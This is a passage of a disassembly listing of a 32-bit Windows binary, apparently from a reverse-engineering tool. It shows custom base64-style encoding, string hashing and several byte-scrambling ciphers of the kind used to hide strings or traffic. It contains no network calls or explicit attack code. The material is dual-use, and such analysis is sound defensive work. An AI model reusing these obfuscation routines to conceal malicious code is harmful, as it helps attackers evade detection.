		push	off_41DA38[eax*4]
		call	sub_4105FB
		pop	ecx
		mov	eax, [ebp+var_1194]
		push	off_41DA38[eax*4]
		mov	eax, [ebp+var_1148]
		inc	eax
		push	eax
		call	sub_40A5BE
		pop	ecx
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jz	short loc_40E839
		mov	eax, [ebp+var_1194]
		push	off_41DA38[eax*4]
		call	sub_4105AD
		pop	ecx
		mov	[ebp+var_4], 1
		jmp	short loc_40E851
; ---------------------------------------------------------------------------


loc_40E839:				; CODE XREF: sub_40E618+203j
		mov	eax, [ebp+var_1194]
		push	off_41DA38[eax*4]
		call	sub_4105AD
		pop	ecx
		jmp	loc_40E7C8
; ---------------------------------------------------------------------------


loc_40E851:				; CODE XREF: sub_40E618+1CDj
					; sub_40E618+21Fj
		jmp	short loc_40E85A
; ---------------------------------------------------------------------------


loc_40E853:				; CODE XREF: sub_40E618+1A1j
		mov	[ebp+var_4], 1


loc_40E85A:				; CODE XREF: sub_40E618:loc_40E851j
		and	[ebp+var_88], 0
		mov	[ebp+var_114C],	1
		jmp	short loc_40E87A
; ---------------------------------------------------------------------------


loc_40E86D:				; CODE XREF: sub_40E618:loc_40E90Aj
		mov	eax, [ebp+var_114C]
		inc	eax
		mov	[ebp+var_114C],	eax


loc_40E87A:				; CODE XREF: sub_40E618+253j
		cmp	[ebp+var_114C],	80h
		jge	loc_40E90F
		mov	eax, [ebp+var_1148]
		add	eax, [ebp+var_114C]
		movsx	eax, byte ptr [eax]
		cmp	eax, 21h
		jnz	short loc_40E8B6
		mov	[ebp+var_88], 1
		mov	eax, [ebp+var_114C]
		and	byte ptr [ebp+eax+var_88+3], 0


loc_40E8B6:				; CODE XREF: sub_40E618+284j
		cmp	[ebp+var_88], 0
		jnz	short loc_40E8DA
		mov	eax, [ebp+var_1148]
		add	eax, [ebp+var_114C]
		mov	ecx, [ebp+var_114C]
		mov	al, [eax]
		mov	byte ptr [ebp+ecx+var_88+3], al


loc_40E8DA:				; CODE XREF: sub_40E618+2A5j
		mov	eax, [ebp+var_1148]
		add	eax, [ebp+var_114C]
		mov	ecx, [ebp+var_114C]
		mov	al, [eax]
		mov	[ebp+ecx+var_1109], al
		mov	eax, [ebp+var_1148]
		add	eax, [ebp+var_114C]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_40E90A
		jmp	short loc_40E90F
; ---------------------------------------------------------------------------


loc_40E90A:				; CODE XREF: sub_40E618+2EEj
		jmp	loc_40E86D
; ---------------------------------------------------------------------------


loc_40E90F:				; CODE XREF: sub_40E618+26Cj
					; sub_40E618+2F0j
		and	[ebp+var_5], 0
		and	[ebp+var_1089],	0
		lea	eax, [ebp+var_118C]
		push	eax
		lea	eax, [ebp+var_1148]
		push	eax
		lea	eax, [ebp+var_1108]
		push	eax
		lea	eax, [ebp+var_84]
		push	eax
		push	[ebp+var_4]
		call	sub_40D871
		add	esp, 14h

locret_40E941:				; CODE XREF: sub_40E618:loc_40E686j
		leave
		retn
sub_40E618	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E943	proc near		; CODE XREF: .data:00416ABAp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax


loc_40E94E:				; CODE XREF: sub_40E943+32j
		mov	eax, [ebp+var_4]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_40E960
		jmp	short locret_40E977
; ---------------------------------------------------------------------------


loc_40E960:				; CODE XREF: sub_40E943+19j
		push	[ebp+var_8]
		call	sub_407B5E
		pop	ecx
		mov	[ebp+var_4], eax
		push	[ebp+var_8]
		call	sub_40E618
		pop	ecx
		jmp	short loc_40E94E
; ---------------------------------------------------------------------------

locret_40E977:				; CODE XREF: sub_40E943+1Bj
		leave
		retn
sub_40E943	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E979	proc near		; CODE XREF: .data:004168D5p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_40E98A
; ---------------------------------------------------------------------------


loc_40E983:				; CODE XREF: sub_40E979+24j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_40E98A:				; CODE XREF: sub_40E979+8j
		cmp	[ebp+var_4], 100h
		jnb	short loc_40E99F
		mov	eax, [ebp+var_4]
		and	byte_41E980[eax], 0
		jmp	short loc_40E983
; ---------------------------------------------------------------------------


loc_40E99F:				; CODE XREF: sub_40E979+18j
		and	[ebp+var_4], 0
		jmp	short loc_40E9AC
; ---------------------------------------------------------------------------


loc_40E9A5:				; CODE XREF: sub_40E979+4Cj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_40E9AC:				; CODE XREF: sub_40E979+2Aj
		cmp	[ebp+var_4], 40h
		jnb	short locret_40E9C7
		mov	eax, [ebp+var_4]
		movzx	eax, byte_41A18C[eax]
		mov	cl, byte ptr [ebp+var_4]
		mov	byte_41E980[eax], cl
		jmp	short loc_40E9A5
; ---------------------------------------------------------------------------

locret_40E9C7:				; CODE XREF: sub_40E979+37j
		leave
		retn
sub_40E979	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E9C9	proc near		; CODE XREF: sub_40A9CF+34Cp
					; sub_40A9CF+E18p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 2
		jnb	short loc_40E9E8
		xor	eax, eax
		jmp	locret_40EB4C
; ---------------------------------------------------------------------------


loc_40E9E8:				; CODE XREF: sub_40E9C9+16j
		and	[ebp+var_4], 0
		and	[ebp+var_8], 0


loc_40E9F0:				; CODE XREF: sub_40E9C9+17Aj
		push	1
		pop	eax
		test	eax, eax
		jz	loc_40EB48
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_8]
		inc	eax
		cmp	eax, [ebp+var_C]
		jnb	short loc_40EA29
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		movzx	eax, byte_41E980[eax]
		shl	eax, 2
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_4]
		mov	[ecx-1], al
		jmp	short loc_40EA2E
; ---------------------------------------------------------------------------


loc_40EA29:				; CODE XREF: sub_40E9C9+40j
		jmp	loc_40EB48
; ---------------------------------------------------------------------------


loc_40EA2E:				; CODE XREF: sub_40E9C9+5Ej
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_C]
		jnb	short loc_40EA66
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		movzx	eax, byte_41E980[eax]
		sar	eax, 4
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_4]
		mov	cl, [ecx-1]
		or	cl, al
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_4]
		mov	[eax-1], cl
		jmp	short loc_40EA6B
; ---------------------------------------------------------------------------


loc_40EA66:				; CODE XREF: sub_40E9C9+72j
		jmp	loc_40EB48
; ---------------------------------------------------------------------------


loc_40EA6B:				; CODE XREF: sub_40E9C9+9Bj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_8]
		inc	eax
		cmp	eax, [ebp+var_C]
		jnb	short loc_40EA99
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		movzx	eax, byte_41E980[eax]
		shl	eax, 4
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_4]
		mov	[ecx-1], al
		jmp	short loc_40EA9E
; ---------------------------------------------------------------------------


loc_40EA99:				; CODE XREF: sub_40E9C9+B0j
		jmp	loc_40EB48
; ---------------------------------------------------------------------------


loc_40EA9E:				; CODE XREF: sub_40E9C9+CEj
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_C]
		jnb	short loc_40EAD6
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		movzx	eax, byte_41E980[eax]
		sar	eax, 2
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_4]
		mov	cl, [ecx-1]
		or	cl, al
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_4]
		mov	[eax-1], cl
		jmp	short loc_40EAD8
; ---------------------------------------------------------------------------


loc_40EAD6:				; CODE XREF: sub_40E9C9+E2j
		jmp	short loc_40EB48
; ---------------------------------------------------------------------------


loc_40EAD8:				; CODE XREF: sub_40E9C9+10Bj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_8]
		inc	eax
		cmp	eax, [ebp+var_C]
		jnb	short loc_40EB06
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		movzx	eax, byte_41E980[eax]
		shl	eax, 6
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_4]
		mov	[ecx-1], al
		jmp	short loc_40EB08
; ---------------------------------------------------------------------------


loc_40EB06:				; CODE XREF: sub_40E9C9+11Dj
		jmp	short loc_40EB48
; ---------------------------------------------------------------------------


loc_40EB08:				; CODE XREF: sub_40E9C9+13Bj
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_C]
		jnb	short loc_40EB3A
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_4]
		mov	cl, [ecx-1]
		or	cl, byte_41E980[eax]
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_4]
		mov	[eax-1], cl
		jmp	short loc_40EB3C
; ---------------------------------------------------------------------------


loc_40EB3A:				; CODE XREF: sub_40E9C9+14Cj
		jmp	short loc_40EB48
; ---------------------------------------------------------------------------


loc_40EB3C:				; CODE XREF: sub_40E9C9+16Fj
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax
		jmp	loc_40E9F0
; ---------------------------------------------------------------------------


loc_40EB48:				; CODE XREF: sub_40E9C9+2Cj
					; sub_40E9C9:loc_40EA29j ...
		mov	eax, [ebp+var_4]
		dec	eax

locret_40EB4C:				; CODE XREF: sub_40E9C9+1Aj
		leave
		retn
sub_40E9C9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EB4E	proc near		; CODE XREF: sub_40A9CF+292p
					; sub_40A9CF+D12p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		and	[ebp+var_4], 0
		and	[ebp+var_8], 0
		and	[ebp+var_C], 0


loc_40EB60:				; CODE XREF: sub_40EB4E:loc_40EC83j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		movzx	eax, byte ptr [eax]
		sar	eax, 2
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_C]
		mov	al, byte_41A18C[eax]
		mov	[ecx], al
		mov	eax, [ebp+var_C]
		inc	eax
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		shl	eax, 4
		and	eax, 30h
		mov	[ebp+var_4], al
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_8]
		jnz	short loc_40EBC2
		movzx	eax, [ebp+var_4]
		or	al, 1
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_C]
		mov	al, byte_41A18C[eax]
		mov	[ecx], al
		mov	eax, [ebp+var_C]
		inc	eax
		mov	[ebp+var_C], eax
		jmp	loc_40EC88
; ---------------------------------------------------------------------------


loc_40EBC2:				; CODE XREF: sub_40EB4E+52j
		movzx	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		movzx	ecx, byte ptr [ecx]
		sar	ecx, 4
		and	ecx, 0Fh
		or	eax, ecx
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_C]
		mov	al, byte_41A18C[eax]
		mov	[ecx], al
		mov	eax, [ebp+var_C]
		inc	eax
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		shl	eax, 2
		and	eax, 3Ch
		mov	[ebp+var_4], al
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_8]
		jnz	short loc_40EC2A
		movzx	eax, [ebp+var_4]
		or	al, 1
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_C]
		mov	al, byte_41A18C[eax]
		mov	[ecx], al
		mov	eax, [ebp+var_C]
		inc	eax
		mov	[ebp+var_C], eax
		jmp	short loc_40EC88
; ---------------------------------------------------------------------------


loc_40EC2A:				; CODE XREF: sub_40EB4E+BDj
		movzx	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		movzx	ecx, byte ptr [ecx]
		sar	ecx, 6
		or	eax, ecx
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_C]
		mov	al, byte_41A18C[eax]
		mov	[ecx], al
		mov	eax, [ebp+var_C]
		inc	eax
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		movzx	eax, byte ptr [eax]
		and	eax, 3Fh
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_C]
		mov	al, byte_41A18C[eax]
		mov	[ecx], al
		mov	eax, [ebp+var_C]
		inc	eax
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_8]
		jnz	short loc_40EC83
		jmp	short loc_40EC88
; ---------------------------------------------------------------------------


loc_40EC83:				; CODE XREF: sub_40EB4E+131j
		jmp	loc_40EB60
; ---------------------------------------------------------------------------


loc_40EC88:				; CODE XREF: sub_40EB4E+6Fj
					; sub_40EB4E+DAj ...
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_C]
		and	byte ptr [eax],	0
		mov	eax, [ebp+var_C]
		leave
		retn
sub_40EB4E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EC96	proc near		; CODE XREF: sub_40A9CF+2FAp
					; sub_40E618+FDp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	[ebp+arg_0]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_8], eax
		and	[ebp+var_4], 0
		jmp	short loc_40ECB4
; ---------------------------------------------------------------------------


loc_40ECAD:				; CODE XREF: sub_40EC96+3Aj
					; sub_40EC96+4Aj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_40ECB4:				; CODE XREF: sub_40EC96+15j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jge	short loc_40ECE6
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		movzx	eax, byte_41E980[eax]
		test	eax, eax
		jz	short loc_40ECD2
		jmp	short loc_40ECAD
; ---------------------------------------------------------------------------


loc_40ECD2:				; CODE XREF: sub_40EC96+38j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 41h
		jnz	short loc_40ECE2
		jmp	short loc_40ECAD
; ---------------------------------------------------------------------------


loc_40ECE2:				; CODE XREF: sub_40EC96+48j
		xor	eax, eax
		jmp	short locret_40ECE9
; ---------------------------------------------------------------------------


loc_40ECE6:				; CODE XREF: sub_40EC96+24j
		push	1
		pop	eax

locret_40ECE9:				; CODE XREF: sub_40EC96+4Ej
		leave
		retn
sub_40EC96	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40ECEB	proc near		; CODE XREF: .data:004168EFp

var_58		= byte ptr -58h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_40F11F
		pop	ecx
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_40F159
		add	esp, 0Ch
		lea	eax, [ebp+var_58]
		push	eax
		push	offset byte_41EA84
		call	sub_40F26E
		pop	ecx
		pop	ecx
		lea	eax, byte_41EA84
		push	10h
		pop	edx


loc_40ED29:				; CODE XREF: sub_40ECEB+46j
		mov	cl, [eax]
		rol	cl, cl
		mov	[eax], cl
		inc	eax
		dec	edx
		jnz	short loc_40ED29
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40ECEB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40ED38	proc near		; CODE XREF: sub_40A9CF+14p
					; sub_41113B+159p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		xor	ecx, ecx
		xor	eax, eax


loc_40ED45:				; CODE XREF: sub_40ED38+2Fj
		mov	cl, [esi]
		test	ecx, ecx
		jz	short loc_40ED69
		cmp	ecx, 61h
		jb	short loc_40ED53
		sub	ecx, 20h


loc_40ED53:				; CODE XREF: sub_40ED38+16j
		and	ecx, 7Fh
		add	eax, ecx
		and	ecx, 0Fh
		mov	cl, byte_41EA84[ecx]
		add	eax, ecx
		rol	eax, 3
		inc	esi
		jmp	short loc_40ED45
; ---------------------------------------------------------------------------


loc_40ED69:				; CODE XREF: sub_40ED38+11j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_40ED38	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40ED6E	proc near		; CODE XREF: .data:004168FDp

var_58		= byte ptr -58h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_40F11F
		pop	ecx
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_40F159
		add	esp, 0Ch
		lea	eax, [ebp+var_58]
		push	eax
		push	offset dword_41EA98
		call	sub_40F26E
		pop	ecx
		pop	ecx
		lea	esi, dword_41EA98
		mov	edi, esi
		push	10h
		pop	ecx


loc_40EDAE:				; CODE XREF: sub_40ED6E+48j
		lodsb
		xor	al, 0AAh
		add	al, al
		or	al, 1
		stosb
		loop	loc_40EDAE
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40ED6E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EDBD	proc near		; CODE XREF: sub_40EF29+Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_40EDCE
; ---------------------------------------------------------------------------


loc_40EDC7:				; CODE XREF: sub_40EDBD+AFj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_40EDCE:				; CODE XREF: sub_40EDBD+8j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_4]
		jge	locret_40EE71
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	al, [eax]
		sub	al, 33h
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		mov	eax, [ebp+var_4]
		cdq
		push	10h
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+arg_8]
		movzx	eax, byte ptr [eax+edx]
		cdq
		push	10h
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_8]
		mov	al, [eax]
		sub	al, [ecx+edx]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		mov	eax, [ebp+var_4]
		cdq
		push	10h
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+arg_8]
		movzx	eax, byte ptr [eax+edx]
		not	eax
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	cl, [ecx]
		xor	cl, al
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	[eax], cl
		mov	eax, [ebp+arg_4]
		cdq
		push	10h
		pop	ecx
		idiv	ecx
		shl	edx, 2
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	al, [eax]
		xor	al, dl
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	al, [eax]
		add	al, 1
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		jmp	loc_40EDC7
; ---------------------------------------------------------------------------

locret_40EE71:				; CODE XREF: sub_40EDBD+17j
		leave
		retn
sub_40EDBD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EE73	proc near		; CODE XREF: sub_40EF41+Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_40EE84
; ---------------------------------------------------------------------------


loc_40EE7D:				; CODE XREF: sub_40EE73+AFj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_40EE84:				; CODE XREF: sub_40EE73+8j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_4]
		jge	locret_40EF27
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	al, [eax]
		sub	al, 1
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		mov	eax, [ebp+arg_4]
		cdq
		push	10h
		pop	ecx
		idiv	ecx
		shl	edx, 2
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	al, [eax]
		xor	al, dl
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		mov	eax, [ebp+var_4]
		cdq
		push	10h
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+arg_8]
		movzx	eax, byte ptr [eax+edx]
		not	eax
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	cl, [ecx]
		xor	cl, al
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	[eax], cl
		mov	eax, [ebp+var_4]
		cdq
		push	10h
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+arg_8]
		movzx	eax, byte ptr [eax+edx]
		cdq
		push	10h
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_8]
		mov	al, [eax]
		add	al, [ecx+edx]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	al, [eax]
		add	al, 33h
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		jmp	loc_40EE7D
; ---------------------------------------------------------------------------

locret_40EF27:				; CODE XREF: sub_40EE73+17j
		leave
		retn
sub_40EE73	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EF29	proc near		; CODE XREF: sub_40A9CF+25Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	offset dword_41EA98
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40EDBD
		add	esp, 0Ch
		pop	ebp
		retn
sub_40EF29	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EF41	proc near		; CODE XREF: sub_40A9CF+380p
					; sub_40D871+7ADp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	offset dword_41EA98
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40EE73
		add	esp, 0Ch
		pop	ebp
		retn
sub_40EF41	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EF59	proc near		; CODE XREF: sub_40A9CF+271p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		mov	eax, [ebp+arg_0]
		add	eax, 4
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		call	sub_410422
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		add	eax, 4
		mov	[ebp+arg_0], eax
		and	[ebp+var_8], 0
		jmp	short loc_40EF91
; ---------------------------------------------------------------------------


loc_40EF8A:				; CODE XREF: sub_40EF59+7Ej
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_40EF91:				; CODE XREF: sub_40EF59+2Fj
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_4]
		jge	short loc_40EFD9
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		mov	al, [eax]
		add	al, byte ptr [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	[ecx], al
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		mov	al, [eax]
		xor	al, byte ptr [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	[ecx], al
		push	1
		push	[ebp+var_4]
		call	sub_416DF6	; _lrotl
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		jmp	short loc_40EF8A
; ---------------------------------------------------------------------------


loc_40EFD9:				; CODE XREF: sub_40EF59+3Ej
		mov	eax, [ebp+arg_4]
		dec	eax
		mov	[ebp+var_8], eax
		jmp	short loc_40EFE9
; ---------------------------------------------------------------------------


loc_40EFE2:				; CODE XREF: sub_40EF59+D4j
		mov	eax, [ebp+var_8]
		dec	eax
		mov	[ebp+var_8], eax


loc_40EFE9:				; CODE XREF: sub_40EF59+87j
		cmp	[ebp+var_8], 0FFFFFFFFh
		jz	short loc_40F02F
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		mov	al, [eax]
		add	al, byte ptr [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	[ecx], al
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		mov	al, [eax]
		xor	al, byte ptr [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	[ecx], al
		push	1
		push	[ebp+var_4]
		call	sub_416DF6	; _lrotl
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		jmp	short loc_40EFE2
; ---------------------------------------------------------------------------


loc_40F02F:				; CODE XREF: sub_40EF59+94j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_4]
		mov	[eax-4], ecx
		mov	eax, [ebp+arg_4]
		add	eax, 4
		leave
		retn
sub_40EF59	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F040	proc near		; CODE XREF: sub_40A9CF+366p
					; sub_40D871+792p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		sub	eax, 4
		push	eax
		mov	eax, [ebp+arg_0]
		add	eax, 4
		push	eax
		push	[ebp+arg_0]
		call	sub_416E02	; memmove
		add	esp, 0Ch
		mov	eax, [ebp+arg_4]
		sub	eax, 4
		mov	[ebp+arg_4], eax
		and	[ebp+var_8], 0
		jmp	short loc_40F07C
; ---------------------------------------------------------------------------


loc_40F075:				; CODE XREF: sub_40F040+82j
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_40F07C:				; CODE XREF: sub_40F040+33j
